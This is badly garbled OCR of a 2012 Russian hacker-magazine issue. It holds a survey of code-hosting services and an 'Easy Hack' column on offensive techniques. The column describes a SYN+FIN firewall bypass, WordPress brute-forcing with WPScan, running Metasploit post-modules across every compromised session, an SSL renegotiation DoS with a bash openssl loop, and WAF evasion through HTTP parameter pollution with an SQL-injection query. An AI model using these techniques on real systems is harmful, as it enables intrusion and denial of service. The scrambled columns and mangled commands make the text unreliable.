тором пойдет ниже. Но обо всём по порядку.
SourceForge
ложения. Как тебе идея установить, скажем,
контроля верси й можешь загрузить свой
I sourceforge I
wiki для
issue tracker?
составления документации
выбрать
trac
mediocre,
ты можешь
Поддерживаемые системы контроля версий:
самое относится и к другим приложениям,
которые также можно развернуть:
Проекты:
рум, блог и т. д. Более того, даже если ни одна
wiki,
предустановленная программа не подошла ,
Основные возможности:
ты всегда можешь установить сторо нни е при
code review,
почтовые рас
ложен ия. Для этого предоставляется
..
...
..... _ _ _ .. n
...
---
shell-
се рвер , который позволяе'Т загружать рабочие
сылки, форум, shell-сервер.
файлы по ПР или
SourceForge
-_ .......-_ _. __._ .... .........-_ ...___
фо
Только под свободной лицензией. tгасkiпg,
....
"'"""
или какой-нибудь еще. То же
CVS, SVN, Git, Mercurial, Bazaar.
Wiki, bug
речь о ко
Е сли тебе не нравится исполь
зуемый по умолчанию
www.sourceforge.net
GitHub,
является одним из родона
SCP.
Приложение должно
быть написано на РНР!RuЬу!Р уthоп и ис
Sourc_Forg_
чальников сервисов для хостинга проектов
пользовать в качестве базы данны х
с открытым исходным кодом. Для каждого
Подобная расширяемость и навороченность
димый функционал . Стоит отметить, что сама
проекта предоставляется уникальный домен
затрудняет освоение сервиса: новичку такой
платформа SourceForge изначально была
имя_проекта.sоuгсеfогgе.пеt, который полно
перегруженный интерфейс может показаться
открыта: ее мог развернуть любой желающий.
стью попадает в распоряжение владельца.
излишним. С другой стороны, если тебе чего
Однако с
Одной из ключевых является возможность
то не хватает на других хос тингах кода, то
остался лишь форк Sаvаппаh.
быстро развертывать дополнительные при-
здесь ты можешь реализовать любой необхо-
Резюме: Для эстетов.
Google Code IGoogle code I
держание указанных страниц. К примеру, если
MySQL.
ты уже хранишь исходники, скажем, на
GitHub Google Code, ст раницу wiki с адресом
и не хочешь размещать их на
Поддерживаемые системы контроля версий:
то просто создаешь
GIT, SVN, Mercurial.
репозитория (чтобы пользователи нашли твои
Проекты: с открытым исходным кодом.
исходникиl и указываешь ее в качестве содер
Основные возможности:
жания страницы hоstiпg ,
issue tracker.
Sources.
_
._---_ .. ._,...._._ ....._.._.- ......-_.............--............._-.-.-." _.._..'1-.-.-... _-., ,----
._.. _-- ...,..--_., ._._-- ....-
Стоит также отме
тить удобство настройки issue -т рекера и рели зов файлов. Можно задавать свои собственные
Изначально предполагалось, что этот
х остинг проектов от
Source Forge.
станет убий цей
Сейчас это один из самых про
статусы для
issue
и метки для выложенны х
файлов. И наверное, с амая главная особен
задействует другие сервисы
для каж дого проекта доступны
рассылка осуществляется с помощью
tracker
и репозиторий исходного ко да. Гибки е
AssembIa
Google Groups
объединены с
Google.
Почтовая
Gmail. issue tracker·OM.
входит поддержка шаблонов отчетов
600gl_ (od_ в качестве учетных записей, естественно, и с пользуются аккаунты Резюме: Для фанатов
Google. Google и
новичков.
Scrum
(популярная сегодня методика управления разработкой информационны х системl, про
www.assembla.com
двинутая система тикетов, а также инстру
Поддерживаемые системы контроля версий:
менты планирования для гибкой методологии
Git, SVN, Mercurial.
разработки (Agilel. Сервис явно рассчитан
Проекты:
не на социализацию, а на активную работу:
бесплатные аккаунты для опенсорсных про
он хо рошо подойдет средним и большим
ектов и платные подписки.
командам разработчиков. Здесь есть такие
Основные возможности:
инструменты для совмес тной работы , как
wiki, tickets, code review, ftp, time tracker, build system.
wiki, files, messages (хорошая замена почто
Этот сервис в некотором роде уника
-~
ность этого хостинга заключается в том, что он
стых в освоении се рвисов . По умолчанию
wiki, issue
года исходники закрыли
настройки позволяют менять названия и со
code.google.com!hosting
code review, wiki, release
2000
..-
g:::~:.....:.;:.-J:.=';:.::::-=~':::' __ ._--I I::..=·. .=~::....-;:"·-=~=:::.. __.:::;~.:;=---:;.::::.. I _
.. .... Ull WIIII
-
=:~=."=:::-"-"_._--"'--
::::::.::::.::-- ...
~E-::=";'Z';:=:'::"-::t=':::"--"'-"'-"--Ass_mbIa
вой рассылкеl , отчеты о проделанной работе, групповой видеочат, а также так называемый
есть немало крупных компаний, которым не
« поток активно с ти », который очень нагляд
обходимы средства для управления работой
лен по своим воэможностям. Он имеет как
но показывает состояние проекта, а также
над проектом: метрики , статистика кода,
обычные для др у ги х хос тингов фишки,
выполняемые задачи . Среди ог ромного коли
tracking
так и со вершенно уникальные. В их число
чества клиентов (а их больше полумиллионаl
Резюме: Для больших команд и компаний.
ХАКЕР
02/157/2012
и т. д.
time
PCZONE основой зтого хос тинга является не система
Bitbucket
контроля версий
Git, а Mercurial, что
стало
;::,.~.:==-....:::-_---,_
одной из ключевых причин его популярности .
bitbucket.org
Сейчас используемая система контроля версий
Поддерживаемые системы контроля версий:
не так уж и важна: хостинг поддерживает
Git, Mercurial.
и
Проекты:
фича, из-за которой многие отдают предпочте
....
же главная киллер
неограниченное количество открытых
ние именно
и закрытых репозиториев с возможностью
платно создавать неограниченное количество
добавлять до пяти коллабораторов Iколлабо ратарами обычно называют соразработчиковl.
закрытых репозиториев кода 'В каждом может
Платные подписки.
услугу пришлось бы платить денежки . К тому
Bitbucket, -
это возможность бес
быть до пяти участниковl. У
трекером
JIRA,
который используется во
многих крупных компания х. Это разработка
_М_.""_
IIТ1I'I
_-__ _-_-
..
'_ .... .,.,....-. .... _ _ .... _ _
.-._.
'_
х_
...... .. ........
_~
•
~
-.----'-
GitHub за подобную Bitbucket
же проект здесь никак не ограничен в объеме Многие программисты знакомы с баг
. . . . . .-......_" ....
_ _ _ _ .....
Mercurial, и Git . Самая
. _-
дискового пространства. Хостинг может по
мочь переехать с других сервисов 'ты просто
и начинать процесс
указываешь адрес, а остальное он сделает
Bitbucket
как таковой . Зато
review
предлагает удобную интеграцию
в портфеле продуктов которой, помимо про
терфейсом
caMI, а благодаря сходству интерфейса с ин GitHub переезд будет безболезнен
же самым баг-текером
чего, ес ть и хос тинг кода.
ным. Но следует заметить, что у сер виса слабо
зволяет создать привязку для любого другого
на битовl с функциональной точки зрения
развиты инструменты для
инструмента Iхотя такой АРI есть и у GitHubI.
предлагает то же самое, что и
возможности комментировать отрывки кода
известной австралийской компании Аtlаssiап,
Bitbucket IКорзиGitHub. Однако
review
кода
нет
-
с др у гими сервисами, например хотя бы с тем
JIRA,
Резюме: Для фанатов
Git
и
а
REST АРI
по
Mercurial .
проектах и активность программистов. Это
GitHub
лучшая площадка, чтобы найти энтузиастов,
...... _
которые могли бы принять участие в твоем про
github.com
екте, или с ГОЛОВОЙ окунуться в идею, которую
Поддерживаемые системы контроля версий:
кто-то здесь уже развивает. В погоне за со
Git, SVN Igit-svпl.
циализацией разработчики не оставили без
Проекты:
внимания и самое важное
бесплатные публичные репозитарии
1300 МБ
-
кода . Чтобы создать фор к проекта, требуется всего лишь дважды кликнуть мышью. Если ты
ражающий его философию,
-
социальный ко
-- - __..
Чего стоит один только просмотрщик измене
Основные возможности :
Лозунг зто го хостинга, непосредственно от
n _ ...
:::.. ......::::::.=
~ --
ные аккаунты.
почтовые
_
.... _ . . _. . _ _n_ . .
работу с кодом.
ний Idiff viewerl, с помощью которого ты можешь
рассылки, сохранения заметок.
.. _
'==:.:::..--:---
=---;:::':;=0=
общего дискового пространстваl, платные подписки Iзакрытые репозиторииl, команд
code review, fork, wiki, issue tracker,
.. _
11 а
комментировать и обсуждать любую строчку
GitHub
хочешь, чтобы твои изменения попали в основ
заметит его .
ной репозитарий, следует отправить специ
из лучших инструментов для
альный запрос 'так называемый pull requestl
возможностей этого инструмента
его владельцу. Основой сервиса является
иопределениеязыкакод~комментирование
распределенная система контроля версий
GitHub также
предлагает один
review -
кода. Среди подсветка
строк кода и коммитов. Некоторые по разным
Git.
динг. Здесь все крутится вокруг кода и совмест
Веб-интерфейс с легкостью позволяет делать
причинам недолюбливают
ной работы разработчиков. После авторизации
форки, накладыватьпатчи, предлагать слияния
нее, можно сказать наверняка, что это самый
ты увидишь что-то вроде страницы в
-
только вместо новостей друзей здесь ото
бражаются изменения в интересующих тебя
CodePlex
Imerge requestsl. Тут же можно развернуть - интерфейс сделан так, что тот,
популярный среди хостингов Git-репозиториев .
И тебе он тоже понравится.
кому адресовано сообщение, обязательно
Резюме: Для фанатов
Net. Что
говорить, если прямо из
.
Visual Studio
можно работать с тасками , багами и версиями
www.codeplex.com
проектов , которые хостятся на
Проекты:
полностью бесплатный. Каждому проекту вы
только под свободной лицензией .
деляется домен имя_проекта . соdерlех.соm . Из
Поддерживаемые системы контроля версий:
начально скрытая страница проекта не раскры
Mercurial, TFS IMicrosoft Теат Fоuпdаtiоп Serverl.
вается в течение месяца, чтобы у разработчика
Основные возможности:
wiki, code review,
Codeplex.
.Net, то
В этом нет ничего удивительного
ведь это проект компании
Microsoft. И
хотя ни
_ __
................... _
и новичков .
_-
.. .....о!~
::.::::.-.::.:::.."':".:..." •.::=...:====;::::::::::..."":"'_....:::;:=. ... .... ..........
::;: ..
_-- ....
была возможность заполнить документацию,
ет настоящую жизнь
тым исходным кодом на платфторме
П
Git
Сервис
с лицензией . После публикации проект начина
Если и искать где-то проекты с откры
на
CodePle x.
выложить текущие исходники и определиться
почтовая рассылка .
но, тем не ме
дискуссию
считается настоящей Меккой для проектов на
11 CodePlex 1 I
GitHub,
-
CodePlex
с этого момента можно
подключать разработчиков и редакторов,
командам разработчиков, так как интерфейс
начинать обсуждения и т. д. В целом
заточен под
CodePlex
оставляет ощущения продуманного проекта
и по функционалу си льно напоминает
GitHub.
wiki,
а не под исходный код . Дру
гими словами, платформа , скорее, ориентиро
ва~анапубликациюlведениедокументацииL
кто не накладывает ограничения на инструмен
Тем не менее, зтот сервис больше подойдет
а не на разработку.
ты, используемые для разработки, этот хостинг
программистам-одиночкам или небольшим
Резюме: Для разработчиков
.Net.
ХАКЕР
02/157/2012
Где хра нить код?
серверах и использовать свой собственный
Gitorious
хостинг кода для работы с файлами разных
проектов [например, внутри предприятия).
gitoгious.oгg
Правда , спешу предупредить, что в плане
Поддерживаемые системы контроля версий:
удобства проект, на мой взгляд, оставляет же
Git .
лать лучшего . Он скорее подходит индивиду
Проекты:
альным разработчикам, чем команде кодеров.
публичные репозитории.
К примеру, здесь напрочь о т сутствуют хот ь
Основные возможности:
какие-нибудь инструменты для
wiki, code review,
От встроенного
почтовая рассылка.
wiki
review
кода .
нет никакого толку ~ он
абсолютно не годится для ведения проект Как несложно ПОНЯТЬ из названия, это хо
ной документации. Перемещаться по дереву
GitorioU5
стинг для Git-репозиториев кода. Он появился
исходников и просматривать ЫоЬ'ы [исполь
раньше, чем
зуемые в Git структуры данных) неудобно.
интересных проектов, то на
вяло. Это особенно странно с учетом того, что
С другой стороны, местами интерфейс даже
много известных разработок. Е сли бы не ре
исходники
понятнее , чем у
GitHub,
Gitorious
но развивался довольно с самого начала были
GitHub:
например, очень на
пазитарии библиотек
открыты. Таким образом, ты без проблем смо
глядно отображается части проекта и права
зачах бы совсем .
жешь развернуть подобный сервис на своих
доступа . Если
Резюме: Для фанатов
I<ilnl
Kiln
GitHub -
это настоящая кладез ь
настроенная на твой аккаунт, что позволяет
очень быстро сделать импорт из
Git-, SVN-,
Мегсuгiаl-репозиториев. Для работы под
Поддерживаемые системы контроля версий:
виндай предоставляется расширенная версия
Mercurial .
клиента
т о проект, возможно,
Git.
.", --
TortoiseHg, специально за точенного Kiln имеет грамотный интер фейс для геviеw-коАа, да и вообще весь UI вы под этот сервис.
Основные возможности :
полнен на самом высоком уровне. В качестве
code review, bug tracker.
bug tracker'a
предлагается отдельный продукт,
известный в кругах программистов, Этот сервис можно назвать одним из лучших
не так
специальная утилита импорта, по умолча нию
www.fogcгeek.com/kiln
Проекты: только платные подписки [возмо жен бесплатный доступ на 45 дней).
Qt,
Gitorious
- FogBugz
Кiln
[правда, только при расширенной подписке).
хостин гов Мегсuгiаl-репозиториев, у которого,
В целом этот сервис хорошо под хо дит для но
заняться напи санием кода, а не возиться с на
пожалуй, есть только один минус
вичков , которым придет ся по душе прод уман
стройкой среды разработки. Но для зто го, увы,
ный и не пере г руже н ный лишними наворотами
придется за пл атить денежку.
Для миграции с других хостингов предлагается
интерфейс. Короче говоря, с
Резюме: Для фанатов
Launchpad
этой компании, п о дскажу: это те же парни,
ный. Использовать его
-
-
он плат
одно удовольствие.
Kiln
можно сразу
__ _---_._ _-_
которые породили на свет бешено популярный
---_. ........ -_ __ _...__....__---
launchpad.net
UЬuпtu
.....
Поддерживаемые системы контроля версий:
что
пытаешься вспомнить, где слышал название
Проекты:
Linux. Нет ничего удивительного в том, Launchpad ориентирован на зту ос. Напри мер, он п оддерживает Ubuntu РРА [Personal Package Archives), что позволяет легко
опенсорсные проекты .
снабжать пользователей Убунты программами
Основные возможности:
и обновлениями . Для большинства проектов ,
code review, bug tracker, faq, answers .
которые хос тятся на
Bazaar.
Lau chpad,
..
_ _ r ___ _
_
..
Не могу не отметить несколько фишек, кото
и новичков.
~-
....
~-
. .~--;:;-;::-;:;-
1-:-;: :;
необходим го
товый репозиторий для Liпuх-пользователеЙ. Этот хостинг кода примечателен прежде
..
Mercurial
~.
• --
Launchpad
всего тем, что построен на системе контроля
рые крайне удобны в работе. К примеру, для
версий Bazaar, разработанной компанией Canonical. Собственно, самим Launchpad за
каждого проекта можно сделать раздел «Во
и оповестит всех участников, открыв на сайте
просы И ответы», а продвинутый инструмент
дискуссию .
нимаются те же самые разработчики. Если ты
для
Резюме: Для фанатов
ТАК ЧТО ЖЕ В ЫБРАТЬ?
code review
сам проверит все конфликты
контроля версий в целом . У
GitHub огромное
Ubuntu.
трибутив И документацию, а заодно пообщаться
Каждый выбирает сервис под себя. Но если
комьюнити и один из самых передовых интер
с пользователями, неплохим выбором буд ет
хочешь моего со вета , то я бы рекомендовал на
фейсов, а
Google Code.
чинающим разработчикам
крытые репозитории
GitHub
или
Bitbucket.
Bitbucket
позволяет создавать за
-
а это дорого стоит. Тем
Это отменные сервисы, которые к тому же от
программистам, которые специализируются на.
лично док умен тированы: ты без труда сможешь
Net,
освоить не только внутреннюю кухню самих
может похвастать ся
хостингов кода, но и приобщиться к системе
В случае если нужно про сто выложить дис-
ХАКЕР
02/157/ 2012
возможно, приглянется
CodePlex - он один интеграцией с Visual Studio.
Если твоя разработка потенци
ально может заинтересовать пользователей
Ubuntu Linux, то можно попробовать LaunchPad . AssembIa и Kiln подойдут программистам, рабо тающим в команде, но им я советова ть ничего
не буду. Они и так все знаю т : ).:Х:
ВЭЛОМ/ЕАSУНАСК
Алексей «GгеелDоg» Тюрин,
Digital5ecurity Itwitter.com/a ntyurinl
ОБОЙТИ СЕТЕВОЙ ФАЙРВОn
."'1r.4!r.4 -ЧЬ?
ный баг. Он заключается в том, что файер не проверяет присутствие Предположим, что в защищенном файерволом сегменте сети нахо
SУN-флага для уже « установленного » соединения , то есть во входя
дится некая цель. Также допустим, что входящие соединения с этой
щем па кете не виден RSТ-флаг.
целью запрещены, а исходящие от нее разрешены. При всем при
Думаю, теперь общий принцип атаки понятен. Мы должны под
этом файервол использует для подключения динамическую филь
ключиться к хосту С помощью ТСР-пакета
трацию
будет блокирован файерволом, так как тот сочтет, что мы использу
keep-state,
с которой для начала нам и нужно разобраться .
Проще говоря, динамическая фильтрация
-
это такая фильтрация,
SYN + FIN, который
не
ем установленное ранее соединение, а не инициализируем новое,
при которой для заданного правила автоматически создается об
запрещенное правилами. Атакуемый хост Iнаша целы отправляет
ратное. Например, если есть правило «разрешить трафик от хоста
ответ
А на хост Б с порта
блокировать, так как исходящий трафик от нашей цели разрешен.
XYZ
на
ZYX
по протоколу ТСР » , то для того, чтобы
данные могли пройти обратно 10T хоста Б к А), файервол также
SYN + АСК,
а далее идут АСК'и, которые файервол и не должен
Важный вопрос здесь заключается в том , как часто такие «дыр
должен использовать соответствующее правило. При динамической
ки » встречаются в фаЙерволах. Лично я не сталкивался с такими
фильтрации обратное правило создается автоматически, как только
уязвимостями в живой природе, но видел на бескрайних просторах
задействуется первое.
интернета несколько упоминаний о них. В любом случае идея мне
Теперь, когда мы определились с терминами , можно переходить
кажется довольно интересной, так что дерзай!
непосредственно к обходу фаЙервола. Теоретически мы никак не можем добраться до цели, так как любые наши попытки подклю
чения IТСР-пакеты с SУN-флагом) будут блокироваться. Как ты на
верняка знаешь, ТСР/IР-протоколы очень гибкие, а RFC описывают далеко не все тонкости. На этом мы и сыграем. Отдельные операционные системы, позволяют устанавливать соединения посредством ТСР-пакета с некоторыми дополнительны
ми флагами, за исключением SYN IKaK ты помнишь, для установки соединения по RFC должен присутствовать только этот флаг). К таким ОС относится как Windows, так и Liпuх Iправда, не все версииl. Полный список можно посмотреть по адресу goo.gl/9mu 12. Какие именно дополнительные флаги нужны? Такие, которые являются легитимными при установленном соединении, то есть, к примеру,
FIN, АС К, RST Iэтот список можно продолжать) .
'121......0. IfI Fr_ )0: 11bytl' anw1r. (464 bfta), 'Ibytl' capturad (4601
ео
Ыса)
lI, ,гс: НO/'IН&1'г ..-G:bd:fО (c4:17: f l:.o:bd:fO), ~C: .......... __ эЬ:Ь Int.rnlc,r ot oc01., ,гс: 19J . lel . O.l01 (1.i.161.0. 101),Dst: 1 112. 161, 0. 10)
III tch.rrмc
:8
~IiISl1~~rol PrQ1: .. ~. 11'( 1'«(: ЭЩl ()l1ф .
с: ~
t (111),
sourclport:1D1S1()1151
.
DUt1l\Ac1Qf1po1't: .~(lH) [str ... tndlx:l0] 58qUlnCl,...мг:о
(r"l.c1vI'lqutnCI"""')
118&Dv 1.ngth: 24 trytl'
-
-
-
ooo.o.o ......
ltlllrv.d:l+Ot"t
••• O •••••••• -NOnI;.:~ • • t о". О" . . . . . . . CongtstlOn IttndoW .1d\lCad
.."
,О ••••••
(а,а):
• 5CN· Ccho:lfOt •• t
...... О ....... urg.nt:1I0t •• t ", .... О . . . . . ,t.tknowlщ ...nt: , ••• ,.,.O", . PUSh:NOt S.t •••••• ,. ,O" .. ....t:NOt •• t
11 .••.••••• , .. S')'II: s«
:. . ~.:0X10.r r~l· . ---~ .----~-----------_.. (v.ll1dlt1and1sIb18d]
. Chtlclc.~:
• opt1ona:
(~
bytll)
Итак, мы выбрали один из указанных выше флагов . Перейдем ко второму этапу, на котором нам нужно найти в файерволе определен-
Соединение установлено, несмотря на лриwедwий ТСР-лакет
5YN-FIN
ХАКЕР
02/157/2 01 2
EASY
НАСК
ВЗЛОМАТЬ САЙТ НА WORDPRESS вает, после обнаружения какого-либо критичного бага проносится
WordPress
является одной из самы х распространенных
CMS
в
волна взломов. Но если основной движок уже не преподносит
ми ре . Она имеет множество плагинов , тем и настроек , что по
таких сюрпризов, то его плагины
зволяет с легкостью создавать самые специфические ресурсы, как
Для каждого популярного продукта или технологии существуют
большие, так и маленькие. Конечно, эта особенность привлекает к
свои сканеры безопасности, позволяющие автоматизировать и
WordPress
внимание и белы х , и черных « шапок » . Как это часто бы-
-
регулярно.
облегчить труд х акера или ИБ-исследователя. Вот и для WordPress не так давно появился специализированный софт под названием
WPScan Ic оdе . gоо g l е . соm/р/wрsсап /l . Автором этого творения является Rуап Dewhurst. Функционал программы не так широк, как хотелось бы не которым, однако в нем присутствует всё самое необходимое. Во-первых, это определение версии и имеющихся в ней паблик
уязвимостей . Во-вторых, определение плагинов [в базе WPScan'a их 22201 и, опять же, их уязвимостей. В качестве бонуса при сутствует многопоточный брутфорсер имен и паролей. С точки зрения применяемых алгоритмов эдесь всё тривиально : перебор и парсинг ответов . Следует учитывать, что это возможности лишь
первой версии. По заверениям автора , в последующих будут при сутствовать и сами эксплойты для найденны х уязвимостей , что, согласись, приятно
.•
Пользоваться тулзой достаточно просто . [Надеюсь, на твоей ма шинке установлен
Ruby? :11
Здесь метр
«--url www. ехаmрlе.соm » -это сканируемый хост, а пара «--enumerate р» указывает на то, что модуль для определения
плагинов подключен. Кстати, с помощью этой тулзы можно попро
бовать просканировать и свой ресурс, но лучше всё же воспользо ваться специальными плагинами для
Определяем плагины WordPress
WordPress
вроде
WP Security
Scan [goo.gl/Ykcn81.
ПРОКАЧАТЬ ВЫВОД ИЗ
NMAP
ы.,-,йr.4 Т_А
второй
В се мы знаем и используем в своих легальны х и не очень делах
такую утилиту, как
Nmap [ пmар.огg l. Одним из преимуществ этой Nmap и х
-
имя итогового файла. На выходе получаем симпатичный
удобочитаемый HTML-Аокумент. Отмечу, что, хотя всё это и вы глядит довольно просто, описанная тулза имеет довольно широкие
программы являются способы вывода информации. У
возможности
четыре :
других типов XML-фаЙлов.
1.
-
ее можно использовать для форматирования
пmар[-оNI-подефолту.
2. gпmар [-оGI- вывод в.строку для удобного применения в grep. З. xml [-ОХI-ВbIВОА в формате XML. 4. $cгlpt КiDDiЗ [-оSI-для фанов leet speak. Кроме того , используя аргумент -оА, можно организовать выв о д сразу в первых трех перечисленных форматах. По факту
с амы м юзабельным для операций поиска является формат
а для анализа
SC.n SUmm.ry NmapS.SfIIfH,1 wlllnltlate\tIl Нlln oec I ~QOiO':44 _ -04 1 0 1 . IIJ/Ifиn·р ·' '', I8'. О. 1 v.rt>oeIty: O;DIII"9~ O
gnmap,
- XML [через ZепМар, напримерl. Но что если нам
хочется приложить красивый лог скана к какому-нибудь отчету о
проделанной работе? Ни один из приведенных форматов для этого не подходит. Можно, конечно, распарсить
XML,
но мы поступим
Ho.tn8m8. о
проще l
Итак , идем на xmlsoft.org/XS LT/xsl tp roc.html и качаем там ма лень к ую программку под названием
xsltproc [кстати, она входит в
01,· ]00 (I'JII;)
ТN 'SS)I POI'tS$C_blltl'ClC~btIow
• 6151 I potu replieowkll: ....u
комплект BackTrackl, затем пишем в консоли следующую команду:
Здесь первый пара метр
ХАКЕР
02/157/ 201 2
-
это скан птар в ХМL-формате , а
Т
Красивый вывод из
Nmap за
пару кликов
ВЗnОМ/ЕАSУ НАСК
КОМАНДОВАТЬ СРАЗУ ВСЕМИ ШЕЛЛАМИ ИЗ
Хочу рассказать тебе об одном маленьком, но крайне юзабельном трюке . Если мы проникли сразу на несколько машин, то, чтобы не
MSF
... r.un_sing~e .( "r.Un" ) .. . sleep :1, eod
писать команды в каждой из пол уче нны х сессий, мы можем восполь зоваться радостями доступа к
Ruby прямо
из консоли
MSF,
запустив
Код гюлучился тяжеловатым, но мы можем вписать его в гс-ф~йл и
постмодуль сразу во все х сессиях:
при необходимости запускать с помощью следующих команд:
msf? usg . R9.~j;jwin(J9w~jgatt:1E~rl.~Ol,Jm_do.m.a],rJ._j;Qkens . I1Jsf.. еIJЧ!!1_Фmi!i!1_tQkgЛ'!р. irЬ .. framell!ork .•..s.e.s.~i.ons. giKhjeY cJ.Q.. I.sgssion.l. run_s]'ngle( "set $.~$$JON#.{sg.ssj,on}" ) print_st.at.us ( "Runniog #{;;Kt:i,Y~Ullodule. ,f.ul.lname}
m:;f> . u.se J1Q.~t/lI! iпdQ.II!:;jgаthе.r/gО.I,J_I1J_dО[lIаiп_t9.kещ !!I.sf епum_QРl!!iI.iп_ tQk~!1P. rе.sрчr.се.. Т.uп'!ц ....rс Всё! Постмодуль запущен на всех поовненных машинах. За зту идею
респектуем Jcran'y Igoo.gl/slhXfl.
аgаiл.s.t #{se~s.:i9n}" )
ЗАDОSИТЬ СЕРВЕР С ПОМОЩЬЮ
SSL
Ei~'IJAi"'l ;,л
Продолжаем мучить
SSL . В
позапрошлом выпуске рубрики мы
разбирали уязвимость под названием
SSL Renegation vuln
в
SSLv3/TLS-протоколе. Информация о ней была обнародована в далеком
2009
год у, позтому в большинстве случаев она давно
прикрыта . Как бы то ни было, официальные патчи уже есть, а
renegation ITO есть переинициализация того же защищенного ТСР-соединенияl уже не является опасной фичей, а потому у многих включена.
Теперь давай ра ссмотрим другую интересную особенность SSL-протоколов. При установке защищенного соединения сервер
затрачивае т горазд о больше процессорн ого времени
ITO есть боль ше использует процессорl, чем клиент. Как ясно из задачи, зтой особенностью можно воспользоваться в дестр ук тивны х целях. :-1 К слову сказать, о ней известно довольно давно, но лишь недавно
группа ТНС представила тулзу, которая реализует описываемый
тип DoS-атаки для SSL Iwww.thc.org/thc-ss l-dos l. Атака фактиче ски организуется путем множественных операций переинициа
лизации защищенных соединений Irenegationl в контексте одного SSL-соединения.
Запускаем
SSL DoS
Какова мощь такой атаки? Всё до статочно сурово. Пред ста вители ТНС пишут, что сервер затрачивает на установку соеди
виса Iподдержка SSL обязательнаl, «--accept» -
нения в
того, что мы не делаем ничего пло хо го .
15
раз больше ресурсов, чем клиент, а средний сервер
может поддержива'ть порядка
300
инициализаций-соединений в
Кстати, функция
renegation
подтверждение
:-)
вовсе не обязательна для атакуемо
секунду. Таким образом, имея всего лишь один атакующий хост с
го сервера. Атаковать можно и без нее , про сто создав множество
нормальным каналом связи IDSLI, мы сможем завалить прилич
SSL- сое динений, однако нагрузка на канал и клиентскую машину
ный сервер.
при зтом увеличится в разы. Также атаку можно проверн уть и без
Насколько зто соответствует действительности ? Здесь есть ин тересные нюансы . ИБ-специалист
Vincent
вание, посвященное способам защиты от
тулзы. Вот небольшой Ьаsh-скрипт от той же ТНС :
Вегпа! пр о в ел исследо
SSL DoS'a Igoo.gl/Ugw801.
В ходе исследования он выяснил, что затраты проце ссорно го времени сильно зависят от используемого алгоритма шифрова
tb.C. -.ssl.-Фs.itО . { whil.e...:; do .(wh.iJg ;; Ф.. g~J.\p~; .dошЙ . I \. 9.Rgпssl
s_cHent -~рпш~~t . 127.;I, ,J .•.1.;443 2>Ngуjпul1; for .x in "s.eg. 1 100" ; . Фtl1с-s.s;I,.:ф.sit & dQne
. Ф,nе}\
ния и, как видно из ка ртинки, не настолько велики, хотя разница
всё же заметна. Следовательно, успешность атаки теоретически
Хотелось бы также отметить, что атакуемым сервисом необязатель
определяется алгоритмом шифрования .
но должен быть
Что касается атаки на практике , то здесь всё про сто. Берем из вестную тулзу от ТНС и запускаем ее следующим образом:
HHPS.
Подойдет любой другой порт, поддержи
вающий SSL IFТPs, POP3s), потому как сервер один и проце ссорное время тоже одно. Если же говорить о защите, то здесь потреб уется как минимум отключить функции клиентского
renegation'a,
исполь
зовать менее навороченные алгоритмы шифрования и ограничить количество инициализаций-соединений с одного
Здесь
050
127.1.1.1 -IP
нашей жерт вы,
443 -
порт атакуемого сер-
ты найдешь по ссылке
IP.
Подр об ности
goo.gl/Ugw80.
ХАКЕР
02/157/2012
ЕА5У НАСК
О&ОЙТИWАF
ii.J.k!И -.ь-
Как тебе уже наверня ка известно, WAF Iweb application firewall)
Этому запросу соответствуют следующие в хо дные параметры :
- зто 051. В
•
файервол, который работает на уровне приложения модели
для А5Р и
A5P.NЕТ -
значения, разделенные запятыми
Iраг1 =val1 ,vaI2,vaI3);
простейшем виде зта штука нацелен а на блокирование
•
для Ap-ache и РНР- последнее значение Iраг1 =vaI3); для Apache и Perl- массив IARRAY[Ox8b9059c]);
для ГИКОВ в необходимую для любого более-менее крупного веб
•
для Apache Тотса! - первое значение Iраг1 =vaI1).
проекта вещь. Хотя на практике даже у тех организаций, которые,
Чем з та информация может быть нам полезна? Как минимум по
казалось бы, просто обязаны заботиться о безопасности пользо
зволит определить тип веб -се рвера и используемую те х нологию .
таких запросов к web-серверу, которые пытаются выполнить инъекцию или
XS5. WAF уже
5QL-
давно превратился из модной фичи
вательских данных Iбанки, магазины),
WAF'bI если и имеются, то
Максимум того, что она помогает выяснить, очень сильно зависит
только для галочки . То есть они или совершенно устарели, или
как от самого сер вера, так и оттого, как работают и каким функ
просто не настроены, или же настроены, но неправильно. Пр едпо
ционалом обладают сами скрипты. Более подробно НРР описан
ложим однако, что наша цель всё же защищена нормальным
в презентации от
WAF.
Luca Carettoni и 5tefano di Paola Igoo.gl/9b9Ix ). А WAF и посмотрим, как применяет на примере ModSecurity для А5Р:
Что делать? Есть несколько основных способов их обхода. Одним из
теперь дава й вернемся к обходу
таких способов является модификация запросов к серверу . Обойти
ся техника НРР,
защиту с его помощью удается за счет того, что, хотя протокол
НТТР стандартизирован и описан в множестве
RF(,
обработчики
jПа.коЙ ..,щпрос. !5JJQ.кируеrС.8 ...
запросо в для разны х веб-серверов реализованы очень по-разном у.
index.• i!spx?P'lge=.sJ~l ect .1, ZJ'! frol1l t.<!Qle wher:e.. J.d"l!.
Насколько сильно они отличаются, мы увидим дальше.
Одним из классических примеров издевательства над НТТР яв
#/1, Т<!.КQЙ -
ляется прием НРР IНТТР Parameter Pollution) . Что зто? Для ответа
нет
inc!e.x.. i!spx?page=.s elect
:J.~Ri!ge=Z,3.
f.CQ.IJI ,table .wnere id=l
обратимся к теории . Во - первы х, к данным , которые пользователь передает серверу, при соединяется так называемая Она следует за символом
«?». Во-вторых,
Следует учитывать, что НРР уже давно не является новой тех
Query String.
данные пользователя
нологией . Указанная выше презентация датируется
2009
годом.
разделяются на пары вида «имя_параметра=значение». В-третьи х,
Можно придумать бесконечное множество подобных НРР-трюков ,
зти пары конкатенируются друг с другом с помощью символа
чем и занялся I vап Markovic из Network Solution Inetsec.rs),
«&»
они должны быть закодированы специальным образом Iнапример,
который в итоге опубликовал небольш ую whitepaper про НТТР Parameter Contamination IНРС) . Чтобы лучше понять новый метод,
urlencode в РНР). Пример правильных запросов:
давай снова обратимся к теории .
или
«;».
Если пользовательские данные содержат спецсимволы, то
Итак, согласно
RFC, для НТТР определены две группы символов: 1. Зарезервированные, или специальные - а-z ,А-Z, 0-9 and_. ! -" 11. 2. Незарезервированные-;/?: ra & =+$,.
#GEТ
G~T.JfQ9?parl.::y.,J)1$tpar?=Y9J.? . НТТI'/J .. з,
..
Однако если ты прямо сейчас посмотришь на свою клавиатуру,
I \ л [J '.
#POST PQST . LfQQ HTII'/l,l .
то обнаружишь там еще и символы
~О.(lt.Ещ1;.: L,ength;. ),9
символы в имена и значения пара метров. Итоги его работы ты
{}
Вот на них-то наш
